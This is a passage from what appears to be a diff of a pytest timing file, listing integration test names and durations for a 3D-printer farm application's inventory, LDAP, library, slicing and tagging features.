"integration/test_ha_sensors_api_1148.py::TestEntityPicker::test_explains_itself_when_ha_is_not_configured": 0.20687717851251364, + "integration/test_ha_sensors_api_1148.py::TestReadings::test_hidden_sensors_stay_off_the_card": 0.21674716845154762, + "integration/test_ha_sensors_api_1148.py::TestReadings::test_other_printers_sensors_are_not_listed": 0.21708873845636845, + "integration/test_ha_sensors_api_1148.py::TestReadings::test_readings_follow_sort_order": 0.21164799109101295, + "integration/test_ha_sensors_api_1148.py::TestReadings::test_serves_the_cached_reading": 0.20555949956178665, + "integration/test_ha_sensors_api_1148.py::TestReadings::test_unpolled_sensor_reports_unreachable_not_missing": 0.317121590487659, + "integration/test_ha_sensors_api_1148.py::TestSaveSurvivesHomeAssistant::test_create_succeeds_even_if_the_first_read_blows_up": 0.20273041538894176, + "integration/test_inventory_assign.py::TestAssignSpoolEmptyDetection::test_external_slot_state_loaded_with_empty_tray_type_fires_mqtt": 0.2135027889162302, + "integration/test_inventory_assign.py::TestAssignSpoolEmptyDetection::test_post_reset_slot_with_state_3_still_fires_mqtt": 0.21533556561917067, + "integration/test_inventory_assign.py::TestAssignSpoolEmptyDetection::test_state_empty_skips_mqtt_and_marks_pending": 0.21065843664109707, + "integration/test_inventory_assign.py::TestAssignSpoolEmptyDetection::test_state_loaded_with_empty_tray_type_fires_mqtt": 0.24591047037392855, + "integration/test_inventory_assign.py::TestAssignSpoolEmptyDetection::test_state_missing_falls_back_to_tray_type_loaded": 0.6089239278808236, + "integration/test_inventory_assign.py::TestAssignSpoolEmptyDetection::test_state_missing_with_empty_tray_type_still_fires_mqtt": 0.21080586314201355, + "integration/test_inventory_assign.py::TestAssignSpoolEmptyDetection::test_state_never_eleven_firmware_with_loaded_tray_fires_mqtt": 0.2173858154565096, + "integration/test_inventory_assign.py::TestAssignSpoolEmptySlotPreConfig::test_auto_unlink_broadcasts_assignment_change": 0.20935596618801355, + "integration/test_inventory_assign.py::TestAssignSpoolEmptySlotPreConfig::test_empty_tray_type_without_state_still_fires_mqtt": 0.21340279933065176, + "integration/test_inventory_assign.py::TestAssignSpoolEmptySlotPreConfig::test_loaded_slot_publishes_mqtt_immediately": 0.21751507744193077, + "integration/test_inventory_assign.py::TestAssignSpoolEmptySlotPreConfig::test_no_ams_data_with_no_client_marks_pending": 0.21584524679929018, + "integration/test_inventory_assign.py::TestAssignSpoolEmptySlotPreConfig::test_on_ams_change_does_not_refire_for_already_configured_slot": 0.21658591739833355, + "integration/test_inventory_assign.py::TestAssignSpoolEmptySlotPreConfig::test_on_ams_change_fires_config_when_pre_assigned_slot_loads": 0.219651754014194, + "integration/test_inventory_assign.py::TestAssignSpoolEmptySlotPreConfig::test_on_ams_change_fires_replay_when_tray_type_appears_without_state_11": 0.21792705077677965, + "integration/test_inventory_assign.py::TestAssignSpoolLiveCaliIdx::test_negative_live_cali_idx_sends_default": 0.22548052947968245, + "integration/test_inventory_assign.py::TestAssignSpoolLiveCaliIdx::test_no_kprofile_no_live_cali_idx_sends_default": 0.2159087471663952, + "integration/test_inventory_assign.py::TestAssignSpoolLiveCaliIdx::test_no_kprofile_resets_to_default_k": 0.2256223214790225, + "integration/test_inventory_assign.py::TestAssignSpoolPfcnCloudPreset::test_pfcn_falls_back_to_generic_when_cloud_unavailable": 0.21918072924017906, + "integration/test_inventory_assign.py::TestAssignSpoolPfcnCloudPreset::test_pfcn_resolves_to_filament_id_via_cloud_lookup": 0.22561318427324295, + "integration/test_inventory_assign.py::TestAssignSpoolPfcnCloudPreset::test_pfcn_spool_reuses_valid_slot_preset": 0.21059266291558743, + "integration/test_inventory_assign.py::TestAssignSpoolPresetMapping::test_preset_mapping_fallback_to_tray_sub_brands": 0.2191328490152955, + "integration/test_inventory_assign.py::TestAssignSpoolPresetMapping::test_preset_mapping_overwrites_old_mapping": 0.22109020967036486, + "integration/test_inventory_assign.py::TestAssignSpoolPresetMapping::test_preset_mapping_saved_with_slicer_filament_name": 0.22292261570692062, + "integration/test_inventory_assign.py::TestAssignSpoolTrayInfoIdx::test_empty_slicer_filament_uses_generic": 0.22080144751816988, + "integration/test_inventory_assign.py::TestAssignSpoolTrayInfoIdx::test_generic_on_slot_falls_back_to_material_generic": 0.22370692249387503, + "integration/test_inventory_assign.py::TestAssignSpoolTrayInfoIdx::test_gf_slicer_filament_kept": 0.2149933809414506, + "integration/test_inventory_assign.py::TestAssignSpoolTrayInfoIdx::test_no_preset_reuses_specific_slot_preset": 0.20947463903576136, + "integration/test_inventory_assign.py::TestAssignSpoolTrayInfoIdx::test_no_preset_with_generic_on_slot_still_uses_generic": 0.22794195171445608, + "integration/test_inventory_assign.py::TestAssignSpoolTrayInfoIdx::test_pfus_slicer_filament_falls_back_to_generic": 0.21922209672629833, + "integration/test_inventory_assign.py::TestAssignSpoolTrayInfoIdx::test_pfus_spool_reuses_valid_slot_preset": 0.212653917260468, + "integration/test_inventory_assign.py::TestAssignSpoolTrayInfoIdx::test_spool_pfus_falls_back_to_generic_over_slot_pfus": 0.22491038776934147, + "integration/test_inventory_assign.py::TestAssignSpoolTrayInfoIdx::test_spool_preset_used_even_if_different_material_on_slot": 0.21745971497148275, + "integration/test_inventory_assign.py::TestAutoUnlinkDuringRunout::test_a_genuinely_different_filament_still_unlinks_while_printing": 0.21677880734205246, + "integration/test_inventory_assign.py::TestAutoUnlinkDuringRunout::test_cleared_tray_data_keeps_the_assignment_while_printing": 0.2160957083106041, + "integration/test_inventory_assign.py::TestAutoUnlinkDuringRunout::test_cleared_tray_data_still_unlinks_when_idle": 0.22336180787533522, + "integration/test_inventory_assign.py::TestAutoUnlinkDuringRunout::test_slot_missing_from_ams_data_keeps_the_assignment_while_printing": 0.21663770452141762, + "integration/test_inventory_assign.py::TestSpoolmanSlotAssignmentDuringRunout::test_the_slot_row_is_still_cleaned_up_when_idle": 0.20768798794597387, + "integration/test_inventory_assign.py::TestSpoolmanSlotAssignmentDuringRunout::test_the_slot_row_survives_a_runout": 0.21438778657466173, + "integration/test_inventory_bulk.py::TestBulkArchiveRestore::test_bulk_archive_sets_archived_at": 0.1973031936213374, + "integration/test_inventory_bulk.py::TestBulkArchiveRestore::test_bulk_archive_skips_already_archived": 0.20955709367990494, + "integration/test_inventory_bulk.py::TestBulkArchiveRestore::test_bulk_restore_clears_archived_at": 0.2037134701386094, + "integration/test_inventory_bulk.py::TestBulkDelete::test_deletes_listed_spools": 0.21552714239805937, + "integration/test_inventory_bulk.py::TestBulkDelete::test_reports_unknown_ids": 0.19975887797772884, + "integration/test_inventory_bulk.py::TestBulkUpdate::test_applies_patch_to_all_listed_spools": 0.20316798705607653, + "integration/test_inventory_bulk.py::TestBulkUpdate::test_empty_ids_list_rejected": 0.20049572736024857, + "integration/test_inventory_bulk.py::TestBulkUpdate::test_empty_update_rejected": 0.19658780377358198, + "integration/test_inventory_bulk.py::TestBulkUpdate::test_reports_unknown_ids_in_not_found": 0.19585238490253687, + "integration/test_inventory_bulk.py::TestBulkUpdate::test_setting_weight_used_auto_locks": 0.21077166963368654, + "integration/test_inventory_csv.py::TestInventoryCsvColorResolution::test_brand_and_color_resolve_rgba_from_catalog": 0.20393032487481833, + "integration/test_inventory_csv.py::TestInventoryCsvColorResolution::test_cross_material_fallback_is_flagged": 0.19876893237233162, + "integration/test_inventory_csv.py::TestInventoryCsvColorResolution::test_exact_material_match_not_flagged": 0.20258090551942587, + "integration/test_inventory_csv.py::TestInventoryCsvColorResolution::test_explicit_rgba_wins_over_catalog": 0.2042193179950118, + "integration/test_inventory_csv.py::TestInventoryCsvColorResolution::test_generic_material_catalog_entry_not_flagged": 0.19458877760916948, + "integration/test_inventory_csv.py::TestInventoryCsvDuplicateWarning::test_existing_spool_flags_duplicate_but_still_imports": 0.21421695686876774, + "integration/test_inventory_csv.py::TestInventoryCsvExport::test_export_excludes_archived": 0.19661401212215424, + "integration/test_inventory_csv.py::TestInventoryCsvExport::test_export_returns_csv_with_header_and_rows": 0.2067527761682868, + "integration/test_inventory_csv.py::TestInventoryCsvExtraColumns::test_low_stock_threshold_out_of_range_is_error": 0.20634744688868523, + "integration/test_inventory_csv.py::TestInventoryCsvExtraColumns::test_storage_category_threshold_round_trip": 0.20962963812053204, + "integration/test_inventory_csv.py::TestInventoryCsvImportDryRun::test_dry_run_classifies_rows_and_writes_nothing": 0.20407161954790354, + "integration/test_inventory_csv.py::TestInventoryCsvImportDryRun::test_missing_material_column_fails_whole_file": 0.19455786980688572, + "integration/test_inventory_csv.py::TestInventoryCsvImportReal::test_case_and_space_tolerant_headers": 0.21191926021128893, + "integration/test_inventory_csv.py::TestInventoryCsvImportReal::test_import_persists_only_valid_rows": 0.21344120241701603, + "integration/test_inventory_csv.py::TestInventoryCsvReviewFollowups::test_export_filename_is_date_stamped": 0.19895280804485083, + "integration/test_inventory_csv.py::TestInventoryCsvReviewFollowups::test_export_neutralises_formula_injection": 0.19495272915810347, + "integration/test_inventory_csv.py::TestInventoryCsvReviewFollowups::test_formula_injection_round_trips_without_quote_accumulation": 0.2114135529845953, + "integration/test_inventory_csv.py::TestInventoryCsvReviewFollowups::test_oversized_upload_rejected_413": 0.20865654479712248, + "integration/test_inventory_csv.py::TestInventoryCsvReviewFollowups::test_weight_used_exceeds_label_is_error": 0.19224526546895504, + "integration/test_inventory_csv.py::TestInventoryCsvReviewFollowups::test_weight_used_negative_is_error": 0.19389555882662535, + "integration/test_inventory_csv.py::TestInventoryCsvRoundTrip::test_export_then_import_recreates_spools": 0.21726071182638407, + "integration/test_inventory_csv.py::TestInventoryCsvUsageColumns::test_export_writes_weight_used_and_derived_remaining": 0.19907793030142784, + "integration/test_inventory_csv.py::TestInventoryCsvUsageColumns::test_import_parses_last_used_iso": 0.20659273490309715, + "integration/test_inventory_csv.py::TestInventoryCsvUsageColumns::test_import_reads_weight_used_ignores_remaining": 0.20698514115065336, + "integration/test_inventory_csv.py::TestInventoryCsvUsageColumns::test_import_rejects_bad_last_used": 0.20181855745613575, + "integration/test_inventory_from_slot_no_tag.py::test_from_slot_rejects_empty_tag_strings": 0.2038289662450552, + "integration/test_inventory_from_slot_no_tag.py::test_from_slot_rejects_no_tag": 0.20799586735665798, + "integration/test_labels.py::TestLocalInventoryLabels::test_all_four_templates_succeed": 0.2884476473554969, + "integration/test_labels.py::TestLocalInventoryLabels::test_empty_spool_ids_rejected": 0.19393383990973234, + "integration/test_labels.py::TestLocalInventoryLabels::test_forwards_sheet_starting_position": 0.21110656578093767, + "integration/test_labels.py::TestLocalInventoryLabels::test_preserves_request_order": 0.24070046469569206, + "integration/test_labels.py::TestLocalInventoryLabels::test_renders_pdf_for_local_spools": 0.23579632118344307, + "integration/test_labels.py::TestLocalInventoryLabels::test_unknown_spool_id_returns_404": 0.19431796111166477, + "integration/test_labels.py::TestLocalInventoryLabels::test_unknown_template_rejected": 0.20743130706250668, + "integration/test_labels.py::TestSpoolmanLabels::test_renders_pdf_from_spoolman_data": 0.21307638846337795, + "integration/test_labels.py::TestSpoolmanLabels::test_returns_400_when_spoolman_disabled": 0.2030407590791583, + "integration/test_labels.py::TestSpoolmanLabels::test_returns_404_when_spool_missing_from_spoolman": 0.19644586835056543, + "integration/test_labels.py::TestSpoolmanLabels::test_returns_503_when_spoolman_unreachable": 0.1927902353927493, + "integration/test_labels.py::TestValidation::test_invalid_starting_position_rejected[avery_5160-0]": 0.1915111392736435, + "integration/test_labels.py::TestValidation::test_invalid_starting_position_rejected[avery_5160-31]": 0.19145477283746004, + "integration/test_labels.py::TestValidation::test_invalid_starting_position_rejected[avery_l7160-22]": 0.19578264467418194, + "integration/test_labels.py::TestValidation::test_invalid_starting_position_rejected[box_62x29-2]": 0.20101887919008732, + "integration/test_labels.py::TestValidation::test_request_body_size_capped": 0.1954480092972517, + "integration/test_ldap_group_sync.py::TestLdapGroupSyncPreservesManualAssignments::test_default_group_not_treated_as_manual": 0.1870690332725644, + "integration/test_ldap_group_sync.py::TestLdapGroupSyncPreservesManualAssignments::test_manual_assignment_to_managed_group_still_overridden": 0.18531398382037878, + "integration/test_ldap_group_sync.py::TestLdapGroupSyncPreservesManualAssignments::test_manual_group_survives_login": 0.1940279472619295, + "integration/test_ldap_group_sync.py::TestLdapGroupSyncPreservesManualAssignments::test_mixed_manual_and_ldap_groups": 0.19744612276554108, + "integration/test_ldap_group_sync.py::TestLdapGroupSyncPreservesManualAssignments::test_revocation_in_ldap_still_propagates": 0.18337460793554783, + "integration/test_ldap_provision.py::TestLdapLoginFinanceDefaults::test_successful_ldap_login_backfills_finance_defaults": 0.22604737989604473, + "integration/test_ldap_provision.py::TestLdapProvisionRoute::test_404_when_directory_lookup_misses": 0.2265573162585497, + "integration/test_ldap_provision.py::TestLdapProvisionRoute::test_409_when_already_provisioned": 0.2306636432185769, + "integration/test_ldap_provision.py::TestLdapProvisionRoute::test_409_when_local_user_exists": 0.22647162526845932, + "integration/test_ldap_provision.py::TestLdapProvisionRoute::test_503_when_directory_unreachable": 0.22790450043976307, + "integration/test_ldap_provision.py::TestLdapProvisionRoute::test_happy_path_applies_group_mapping": 0.2320513930171728, + "integration/test_ldap_provision.py::TestLdapProvisionRoute::test_happy_path_creates_user_with_ldap_auth_source": 0.23029245622456074, + "integration/test_ldap_provision.py::TestLdapProvisionRoute::test_requires_auth": 0.20459260791540146, + "integration/test_ldap_provision.py::TestLdapSearchRoute::test_rejects_short_query": 0.22653970308601856, + "integration/test_ldap_provision.py::TestLdapSearchRoute::test_rejects_when_ldap_disabled": 0.21978749800473452, + "integration/test_ldap_provision.py::TestLdapSearchRoute::test_requires_auth": 0.20569639652967453, + "integration/test_ldap_provision.py::TestLdapSearchRoute::test_returns_results_annotated_with_already_provisioned": 0.22879093326628208, + "integration/test_ldap_provision.py::TestLdapSearchRoute::test_surfaces_unreachable_as_503": 0.23539758659899235, + "integration/test_library_api.py::TestLibraryAddToQueueAPI::test_add_non_sliced_file_to_queue_fails": 0.2154646646231413, + "integration/test_library_api.py::TestLibraryAddToQueueAPI::test_add_to_queue_file_not_found": 0.21158328093588352, + "integration/test_library_api.py::TestLibraryFilesAPI::test_delete_file": 0.19723780266940594, + "integration/test_library_api.py::TestLibraryFilesAPI::test_file_detail_includes_user_tracking_fields": 0.20043732039630413, + "integration/test_library_api.py::TestLibraryFilesAPI::test_file_list_includes_user_tracking_fields": 0.20551784243434668, + "integration/test_library_api.py::TestLibraryFilesAPI::test_file_with_user_tracking": 0.21946196723729372, + "integration/test_library_api.py::TestLibraryFilesAPI::test_get_file": 0.19296090491116047, + "integration/test_library_api.py::TestLibraryFilesAPI::test_get_file_not_found": 0.19296484347432852, + "integration/test_library_api.py::TestLibraryFilesAPI::test_get_folder_readme_404_when_folder_missing": 0.21131786331534386, + "integration/test_library_api.py::TestLibraryFilesAPI::test_get_folder_readme_404_when_no_markdown": 0.20172755792737007, + "integration/test_library_api.py::TestLibraryFilesAPI::test_get_folder_readme_prefers_readme_over_other_md": 0.20619084313511848, + "integration/test_library_api.py::TestLibraryFilesAPI::test_get_folder_readme_returns_first_markdown": 0.2084154225885868, + "integration/test_library_api.py::TestLibraryFilesAPI::test_library_stats": 0.19866707269102335, + "integration/test_library_api.py::TestLibraryFilesAPI::test_list_files_by_project_id": 0.20660246536135674, + "integration/test_library_api.py::TestLibraryFilesAPI::test_list_files_empty": 0.19544295966625214, + "integration/test_library_api.py::TestLibraryFilesAPI::test_list_files_external_only": 0.21009132452309132, + "integration/test_library_api.py::TestLibraryFilesAPI::test_list_files_folder_id_takes_precedence_over_project_id": 0.200478526763618, + "integration/test_library_api.py::TestLibraryFilesAPI::test_list_files_in_folder": 0.20311779249459505, + "integration/test_library_api.py::TestLibraryFilesAPI::test_list_files_internal_and_external_mutually_exclusive": 0.1939291413873434, + "integration/test_library_api.py::TestLibraryFilesAPI::test_list_files_internal_only": 0.1997607396915555, + "integration/test_library_api.py::TestLibraryFilesAPI::test_list_files_recursive_includes_subfolders": 0.22135988343507051, + "integration/test_library_api.py::TestLibraryFilesAPI::test_list_files_recursive_without_folder_id_is_noop": 0.21050197444856167, + "integration/test_library_api.py::TestLibraryFilesAPI::test_rename_file": 0.19840599223971367, + "integration/test_library_api.py::TestLibraryFilesAPI::test_rename_file_invalid_backslash": 0.2002988290041685, + "integration/test_library_api.py::TestLibraryFilesAPI::test_rename_file_invalid_path_separator": 0.19675234146416187, + "integration/test_library_api.py::TestLibraryFoldersAPI::test_create_folder": 0.1967964256182313, + "integration/test_library_api.py::TestLibraryFoldersAPI::test_create_nested_folder": 0.19643101003021002, + "integration/test_library_api.py::TestLibraryFoldersAPI::test_delete_folder": 0.206634103320539, + "integration/test_library_api.py::TestLibraryFoldersAPI::test_folder_tree_exposes_latest_activity_at_from_files": 0.2076180875301361, + "integration/test_library_api.py::TestLibraryFoldersAPI::test_folder_tree_latest_activity_at_falls_back_to_folder_updated_at": 0.19759030360728502, + "integration/test_library_api.py::TestLibraryFoldersAPI::test_get_folder": 0.20017626974731684, + "integration/test_library_api.py::TestLibraryFoldersAPI::test_get_folder_not_found": 0.19682468753308058, + "integration/test_library_api.py::TestLibraryFoldersAPI::test_list_folders_empty": 0.19829708896577358, + "integration/test_library_api.py::TestLibraryFoldersAPI::test_update_folder": 0.2003978556022048, + "integration/test_library_api.py::TestLibraryPathHelpers::test_to_absolute_path_converts_relative": 0.0008325185626745224, + "integration/test_library_api.py::TestLibraryPathHelpers::test_to_absolute_path_handles_already_absolute": 0.0009247725829482079, + "integration/test_library_api.py::TestLibraryPathHelpers::test_to_absolute_path_returns_none_for_empty": 0.0008068224415183067, + "integration/test_library_api.py::TestLibraryPathHelpers::test_to_relative_path_converts_absolute": 0.0010859454050660133, + "integration/test_library_api.py::TestLibraryPathHelpers::test_to_relative_path_handles_path_object": 0.001959993503987789, + "integration/test_library_api.py::TestLibraryPathHelpers::test_to_relative_path_returns_empty_for_empty_input": 0.0007902998477220535, + "integration/test_library_api.py::TestLibraryPermissions::test_apikey_with_manage_library_can_delete_file": 0.22903471905738115, + "integration/test_library_api.py::TestLibraryPermissions::test_apikey_with_manage_library_can_move_file": 0.23901079781353474, + "integration/test_library_api.py::TestLibraryPermissions::test_apikey_with_manage_library_can_rename_file": 0.23561461176723242, + "integration/test_library_api.py::TestLibraryPermissions::test_apikey_with_manage_library_still_cannot_purge": 0.2245106492191553, + "integration/test_library_api.py::TestLibraryPermissions::test_apikey_without_manage_library_still_blocked": 0.22773628495633602, + "integration/test_library_api.py::TestLibraryPermissions::test_delete_file_admin_can_delete_any": 0.21452539414167404, + "integration/test_library_api.py::TestLibraryPermissions::test_delete_file_own_by_owner": 0.21869064215570688, + "integration/test_library_api.py::TestLibraryPermissions::test_delete_file_own_denied_for_others_file": 0.23232879303395748, + "integration/test_library_api.py::TestLibraryPermissions::test_list_files_denied_without_permission": 0.19454757124185562, + "integration/test_library_api.py::TestLibraryPermissions::test_list_files_requires_library_read": 0.2112926049157977, + "integration/test_library_api.py::TestLibraryPermissions::test_viewer_cannot_delete_files": 0.2083819005638361, + "integration/test_library_api.py::TestLibraryStlThumbnailAPI::test_batch_generate_thumbnails_all_missing": 0.20700004883110523, + "integration/test_library_api.py::TestLibraryStlThumbnailAPI::test_batch_generate_thumbnails_by_folder": 0.20390874613076448, + "integration/test_library_api.py::TestLibraryStlThumbnailAPI::test_batch_generate_thumbnails_empty": 0.2108780099079013, + "integration/test_library_api.py::TestLibraryStlThumbnailAPI::test_batch_generate_thumbnails_file_not_on_disk": 0.2025258932262659, + "integration/test_library_api.py::TestLibraryStlThumbnailAPI::test_batch_generate_thumbnails_no_criteria": 0.1981216985732317, + "integration/test_library_api.py::TestLibraryStlThumbnailAPI::test_batch_generate_thumbnails_with_real_stl": 0.4232332957908511, + "integration/test_library_api.py::TestLibraryStlThumbnailAPI::test_extract_zip_with_stl_thumbnail_param": 0.2012134725227952, + "integration/test_library_api.py::TestLibraryStlThumbnailAPI::test_upload_file_with_stl_thumbnail_param": 0.6922356858849525, + "integration/test_library_api.py::TestLibraryZipExtractAPI::test_extract_zip_basic": 0.2017548894509673, + "integration/test_library_api.py::TestLibraryZipExtractAPI::test_extract_zip_create_folder_from_zip": 0.22052360698580742, + "integration/test_library_api.py::TestLibraryZipExtractAPI::test_extract_zip_flat": 0.20835342723876238, + "integration/test_library_api.py::TestLibraryZipExtractAPI::test_extract_zip_invalid_file_type": 0.20699293911457062, + "integration/test_library_api.py::TestLibraryZipExtractAPI::test_extract_zip_skips_macos_files": 0.20649883151054382, + "integration/test_library_api.py::TestLibraryZipExtractAPI::test_extract_zip_with_folders": 0.2102241525426507, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_archive_bulk_upload_collects_per_file_errors": 0.20908713154494762, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_archive_upload_rejects_non_zip": 0.19900165032595396, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_accepts_valid_gcode_3mf_upload": 0.20488267112523317, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_gcode_rejects_a_plate_the_file_does_not_hold": 0.20232592802494764, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_gcode_serves_the_requested_plate": 0.1978732729330659, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_gcode_without_a_plate_serves_the_first_plate": 0.20532119274139404, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_get_gcode_endpoint_accepts_compound_file_type": 0.20981543604284525, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_get_gcode_recovers_legacy_gcode_type_for_3mf": 0.1990661984309554, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_rejects_non_zip_3mf_upload": 0.2022268958389759, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_rejects_non_zip_gcode_3mf_upload": 0.1995568871498108, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_rejects_raw_gcode_upload": 0.2135703032836318, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_still_accepts_non_print_extensions": 0.20905773621052504, + "integration/test_library_api.py::TestPrintFileUploadValidation::test_library_upload_classifies_gcode_3mf_as_compound": 0.2016620058566332, + "integration/test_library_slice_api.py::TestCanonicalPrinterModel::test_bare_model_and_empty": 0.0007847091183066368, + "integration/test_library_slice_api.py::TestCanonicalPrinterModel::test_strips_clone_prefix_and_suffix": 0.0008351057767868042, + "integration/test_library_slice_api.py::TestCanonicalPrinterModel::test_strips_nozzle_suffix": 0.0010629910975694656, + "integration/test_library_slice_api.py::TestCrossClassSliceAllLoop::test_cross_class_arrange_survives_user_leaving_the_box_unticked": 0.27307386323809624, + "integration/test_library_slice_api.py::TestCrossClassSliceAllLoop::test_embedded_settings_slice_all_with_arrange_still_loops": 0.28490495681762695, + "integration/test_library_slice_api.py::TestCrossClassSliceAllLoop::test_loops_per_plate_when_cross_class_with_plate_zero": 0.2786526884883642, + "integration/test_library_slice_api.py::TestCrossClassSliceAllLoop::test_user_requested_arrange_also_loops_per_plate": 0.2734821466729045, + "integration/test_library_slice_api.py::TestFilamentRequirementsFullSlots::test_full_slots_returns_one_row_per_project_slot": 0.20469490811228752, + "integration/test_library_slice_api.py::TestFilamentRequirementsFullSlots::test_the_print_path_still_gets_only_the_used_slot": 0.2075747773051262, + "integration/test_library_slice_api.py::TestFilamentRequirementsFullSlots::test_unsliced_sources_are_unaffected_by_the_flag": 0.3992412956431508, + "integration/test_library_slice_api.py::TestNozzleClassGuard::test_archive_reslice_x1c_to_h2d_preset_path_is_not_400": 0.23825169540941715, + "integration/test_library_slice_api.py::TestNozzleClassGuard::test_dual_to_single_is_allowed": 0.0010263537988066673, + "integration/test_library_slice_api.py::TestNozzleClassGuard::test_no_source_model_is_a_noop": 0.0010163253173232079, + "integration/test_library_slice_api.py::TestNozzleClassGuard::test_null_request_is_a_noop": 0.0009949235245585442, + "integration/test_library_slice_api.py::TestNozzleClassGuard::test_same_nozzle_class_is_allowed": 0.0010301098227500916, + "integration/test_library_slice_api.py::TestNozzleClassGuard::test_single_to_dual_is_allowed": 0.0011017052456736565, + "integration/test_library_slice_api.py::TestSliceArchiveResliceModel::test_cross_model_reslice_drops_source_printer_id": 0.2661447338759899, + "integration/test_library_slice_api.py::TestSliceArchiveResliceModel::test_reslice_uses_target_model_not_source_model": 0.26755007822066545, + "integration/test_library_slice_api.py::TestSliceArchiveResliceModel::test_reslice_with_unknown_source_model_preserves_printer_id": 0.2689301148056984, + "integration/test_library_slice_api.py::TestSliceArchiveResliceModel::test_same_model_reslice_preserves_source_printer_id": 0.2771510239690542, + "integration/test_library_slice_api.py::TestSliceArchiveReslicedBedType::test_bed_type_falls_back_to_source_when_missing_from_output": 0.27279749512672424, + "integration/test_library_slice_api.py::TestSliceArchiveReslicedBedType::test_bed_type_lifted_from_sliced_output": 0.27640173956751823, + "integration/test_library_slice_api.py::TestSliceArchiveReslicedThumbnail::test_falls_back_to_auxiliaries_when_source_lacks_plate_png": 0.2718656677752733, + "integration/test_library_slice_api.py::TestSliceArchiveReslicedThumbnail::test_uses_source_plate_png_when_sliced_output_lacks_one": 0.2654408048838377, + "integration/test_library_slice_api.py::TestSliceJobs::test_unknown_job_returns_404": 0.19229878578335047, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_3mf_falls_back_to_embedded_settings_on_cli_failure": 0.2626299262046814, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_3mf_input_forwarded_unmodified_to_sidecar": 0.26636991649866104, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_auto_orient_and_arrange_reach_the_sidecar": 0.26041028648614883, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_bed_type_omitted_leaves_process_profile_untouched": 0.2643141131848097, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_bed_type_override_patches_process_profile": 0.26796173211187124, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_happy_path_returns_202_then_job_completes_with_library_file": 0.2672654055058956, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_invalid_preset_id_surfaces_as_failed_job_with_status_400": 0.21322637051343918, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_layout_flags_absent_by_default": 0.26877809036523104, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_sidecar_unreachable_fails_with_502": 0.2640868565067649, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_stl_does_not_fall_back_on_cli_failure": 0.26071501709520817, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_unknown_preferred_slicer_fails_with_400": 0.21001495141535997, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_use_embedded_settings_ignored_for_stl": 0.26963496673852205, + "integration/test_library_slice_api.py::TestSliceLibraryFile::test_use_embedded_settings_skips_profile_triplet": 0.26477990485727787, + "integration/test_library_slice_api.py::TestSliceSlicerRejection::test_3mf_surfaces_slicer_rejection_instead_of_falling_back": 0.26767451129853725, + "integration/test_library_slice_api.py::TestSliceValidation::test_returns_400_for_wrong_file_type": 0.20960411988198757, + "integration/test_library_slice_api.py::TestSliceValidation::test_returns_404_when_source_missing": 0.20945511944592, + "integration/test_library_slice_api.py::TestSliceValidation::test_step_source_is_refused_with_an_explanation": 0.2101534204557538, + "integration/test_library_slice_api.py::TestSlicerRejectionMessage::test_cli_error_line_without_run_prefix": 0.0008187545463442802, + "integration/test_library_slice_api.py::TestSlicerRejectionMessage::test_empty_or_unrelated_text": 0.0008884239941835403, + "integration/test_library_slice_api.py::TestSlicerRejectionMessage::test_extracts_bed_boundary_reason": 0.0014664391055703163, + "integration/test_library_slice_api.py::TestSlicerRejectionMessage::test_extracts_filament_temp_reason": 0.0014047324657440186, + "integration/test_library_slice_api.py::TestSlicerRejectionMessage::test_generic_cli_failure_is_not_a_rejection": 0.0009667007252573967, + "integration/test_library_slice_api.py::TestSlicerRejectionMessage::test_keeps_meaningful_reason_even_when_cli_error_line_present": 0.0008348654955625534, + "integration/test_library_slice_api.py::TestSlicerRejectionMessage::test_replaces_input_preset_invalid_placeholder_with_cli_error_line": 0.0008720345795154572, + "integration/test_library_slice_api.py::TestUnusedSlotSubstitutionOnSinglePlateSource::test_slice_all_keeps_every_slot": 0.27092202845960855, + "integration/test_library_slice_api.py::TestUnusedSlotSubstitutionOnSinglePlateSource::test_unused_slots_are_substituted_when_the_body_omits_plate": 0.2699670195579529, + "integration/test_library_tags_api.py::TestLibraryTagBulkAssign::test_add_is_idempotent": 0.21178892627358437, + "integration/test_library_tags_api.py::TestLibraryTagBulkAssign::test_invalid_action_422": 0.19328555464744568, + "integration/test_library_tags_api.py::TestLibraryTagBulkAssign::test_remove_drops_only_listed_tags": 0.21559865586459637, + "integration/test_library_tags_api.py::TestLibraryTagBulkAssign::test_replace_with_empty_tag_set_clears": 0.22198528610169888, + "integration/test_library_tags_api.py::TestLibraryTagBulkAssign::test_unknown_file_ids_silently_skipped": 0.20619654189795256, + "integration/test_library_tags_api.py::TestLibraryTagCRUD::test_create_duplicate_case_insensitive_409": 0.21319033205509186, + "integration/test_library_tags_api.py::TestLibraryTagCRUD::test_create_tag_and_list": 0.20378011465072632, + "integration/test_library_tags_api.py::TestLibraryTagCRUD::test_create_tag_strips_whitespace": 0.19334193971008062, + "integration/test_library_tags_api.py::TestLibraryTagCRUD::test_delete_tag_cascades_associations_keeps_file": 0.2156844064593315, + "integration/test_library_tags_api.py::TestLibraryTagCRUD::test_delete_unknown_tag_404": 0.19930423516780138, + "integration/test_library_tags_api.py::TestLibraryTagCRUD::test_rename_collision_409": 0.20601338986307383, + "integration/test_library_tags_api.py::TestLibraryTagCRUD::test_rename_tag": 0.20417264103889465, + "integration/test_library_tags_api.py::TestLibraryTagFilter::test_and_semantics": 0.2313974667340517, + 